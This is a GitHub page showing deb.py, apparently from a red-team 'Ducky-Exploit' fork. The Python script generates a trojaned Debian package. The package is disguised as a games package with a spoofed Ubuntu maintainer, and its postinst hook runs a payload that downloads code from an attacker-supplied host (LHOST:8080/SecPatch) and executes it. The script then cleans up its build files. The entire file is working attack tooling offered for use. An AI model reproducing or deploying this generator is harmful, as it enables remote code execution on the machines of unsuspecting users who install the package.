forked from itsmehacker/Ducky-Exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdeb.py
92 lines (84 loc) · 2.1 KB
/
deb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import os,time
import argparse,sys
try:
raw_input # Python 2
except NameError:
raw_input = input # Python 3
#Colors
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' #white
def main():
global name
global vers
global arch
global lhost
name = raw_input(R + '[+]' + G + 'Enter of the name of the Deb file -> ' + W)
vers = raw_input(R + '[+]' + G + 'Enter of the Version of the Deb file -> ' + W)
lhost = raw_input(R + '[+]' + G + 'Enter of the Lhost -> ' + W)
arch = raw_input(R + '[+]' + G + 'Enter of the Architecture of the Deb file (i386/amd64) -> ' + W)
global h
global j
global we
global uu
h = str(name)
j = str(name)+"_"+str(vers)
we = str(lhost)
uu = str(arch)
with open(h, "w+") as r:
payload = """
#!/bin/bash
python -c "import urllib2; r = urllib2.urlopen('http://"""+str(lhost)+""":8080/SecPatch'); exec(r.read());"
"""
k = r.write(payload)
o = open("postinst" , "a")
m = """
#!/bin/bash
chmod 2755 /usr/local/bin/"""+h+""" && /usr/local/bin/"""+h+""" &
"""
o.write(m)
o.close()
os.system("chmod 0755 postinst")
print ("")
print ("kimi finally done with it ;) happy injecting !!")
print ("")
#else:
# print banner
def make_deb():
gen = """
#!/bin/sh
chmod u+x """+h+"""
cat >> control << EOF
Package: """+str(name)+"""
Version: """+str(vers)+"""
Section: Games and Amusement
Priority: optional
Architecture: """+uu+"""
Maintainer: Ubuntu MOTU Developers ([email protected])
Description: MDPC kimi (SSA-RedTeam development 2017)
EOF
mkdir -p """+j+"""/usr/local/bin
cp """+h+""" """+j+"""/usr/local/bin
sleep 2
mkdir -p """+j+"""/DEBIAN
cp control """+j+"""/DEBIAN/control
cp postinst """+j+"""/DEBIAN/postinst
sleep 3
dpkg-deb --build """+j+"""
sleep 5
rm -rf """+h+"""
rm -rf control
rm -rf postinst
rm -rf """+j+"""
rm -rf fro.sh
"""
er = open("fro.sh" , "w")
er.write(gen)
er.close()
os.system("chmod +x fro.sh")
os.system("./fro.sh")
os.system("sudo chmod 777 *.deb")
if __name__ == '__main__':
main()
make_deb()